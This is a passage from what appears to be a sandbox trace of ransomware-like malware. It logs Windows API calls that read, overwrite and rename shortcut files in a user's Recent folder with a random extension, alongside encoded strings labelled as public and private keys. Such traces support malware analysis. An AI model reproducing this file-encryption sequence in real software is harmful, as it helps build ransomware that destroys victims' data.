OMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", lpUsedDefaultChar=0x0) returned 2469 [0081.771] GetCurrentThreadId () returned 0xa30 [0081.771] GetCurrentThreadId () returned 0xa30 [0081.771] GetCurrentThreadId () returned 0xa30 [0081.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.773] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0081.774] GetCurrentThreadId () returned 0xa30 [0081.774] GetCurrentThreadId () returned 0xa30 [0081.774] GetCurrentThreadId () returned 0xa30 [0081.774] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.774] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0081.774] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.774] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xa6e [0081.775] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0081.775] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xa6e, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xa6e, lpOverlapped=0x0) returned 1 [0081.776] CloseHandle (hObject=0x124) returned 1 [0081.777] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0081.778] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xa6e, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xa6e, lpOverlapped=0x0) returned 1 [0081.780] CloseHandle (hObject=0x124) returned 1 [0081.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\j5qVGDC 3 7fjtI.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j5qvgdc 3 7fjti.lnk.zv7un")) returned 1 [0081.782] GetCurrentThreadId () returned 0xa30 [0081.782] GetCurrentThreadId () returned 0xa30 [0081.782] GetCurrentThreadId () returned 0xa30 [0081.782] GetCurrentThreadId () returned 0xa30 [0081.783] GetCurrentThreadId () returned 0xa30 [0081.783] GetCurrentThreadId () returned 0xa30 [0081.783] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d3e340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1d3e340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1d3e340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="J9WQ72qd-NL9SUaxFK.lnk", cAlternateFileName="J9WQ72~1.LNK")) returned 1 [0081.783] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.783] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.783] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1d3e340, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1d3e340, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1d3e340, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xa8f)) returned 1 [0081.783] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\j9wq72qd-nl9suaxfk.lnk")) returned 0x20 [0081.783] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\J9WQ72qd-NL9SUaxFK.lnk", dwFileAttributes=0x80) returned 1 [0081.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0081.785] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0081.786] GetCurrentThreadId () returned 0xa30 [0081.786] GetCurrentThreadId () returned 0xa30 [0081.786] GetCurrentThreadId () returned 0xa30 [0081.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0081.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3cc